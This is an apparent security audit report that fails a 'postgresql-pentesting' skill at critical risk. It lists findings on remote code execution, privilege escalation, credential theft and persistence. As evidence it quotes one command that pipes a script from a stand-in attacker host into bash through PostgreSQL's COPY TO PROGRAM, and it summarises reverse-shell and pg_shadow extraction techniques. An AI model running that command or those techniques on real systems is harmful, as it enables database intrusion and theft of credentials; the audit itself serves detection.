postgresql-pentesting

Fail

Audited by Gen Agent Trust Hub on Oct 16, 2026

Risk Level: CRITICALREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONPRIVILEGE_ESCALATIONDATA_EXFILTRATIONPERSISTENCEOBFUSCATIONDYNAMIC_EXECUTIONCREDENTIALS_UNSAFE
Full Analysis
  • [REMOTE_CODE_EXECUTION]: Documentation for fetching and executing remote scripts via piped shell commands.
  • Evidence: COPY (SELECT '') TO PROGRAM 'curl https://ATTACKER/rev.sh | bash'; in references/postgresql-techniques.md.
  • [COMMAND_EXECUTION]: Multiple techniques for arbitrary command execution using PostgreSQL built-in features and external languages.
  • Evidence: COPY FROM PROGRAM utilized for reverse shells and system information gathering.
  • Evidence: Use of procedural languages like PL/Python and PL/Perl to execute shell commands.
  • [PRIVILEGE_ESCALATION]: Extensive instructions for gaining elevated database and host privileges.
  • Evidence: Techniques for bypassing local authentication and gaining SUPERUSER status.
  • Evidence: Exploits for platform-specific environments like AWS RDS, GCP Cloud SQL, and Supabase.
  • [DATA_EXFILTRATION]: Methods to read and send sensitive data to attacker-controlled servers.
  • Evidence: Extraction of /etc/passwd, database user hashes (pg_shadow), and system configuration files.
  • [PERSISTENCE]: Instructions for creating long-term access to target systems.
  • Evidence: Use of event triggers to establish automated backdoors.
  • Evidence: Creation of hidden roles with administrative privileges.
  • [OBFUSCATION]: Techniques to bypass security monitoring and WAF filters.
  • Evidence: Use of SQL character codes (CHR()) and string concatenation to conceal malicious commands.
  • [DYNAMIC_EXECUTION]: Compilation and loading of malicious code during execution.
  • Evidence: Inclusion of C code for a malicious extension designed to spawn a reverse shell, with instructions to compile it into a shared object (.so) and load it into the database.
  • [CREDENTIALS_UNSAFE]: Instructions for extracting sensitive authentication data.
  • Evidence: Techniques for reading ~/.pgpass, pg_shadow hashes, and extracting passwords from pgAdmin SQLite databases.
Recommendations
  • CRITICAL: 2 file(s) identified as malware by FileRep - DO NOT USE
  • AI detected serious security threats
Audit Metadata
Risk Level
CRITICAL
Analyzed
Oct 16, 2026, 05:15 AM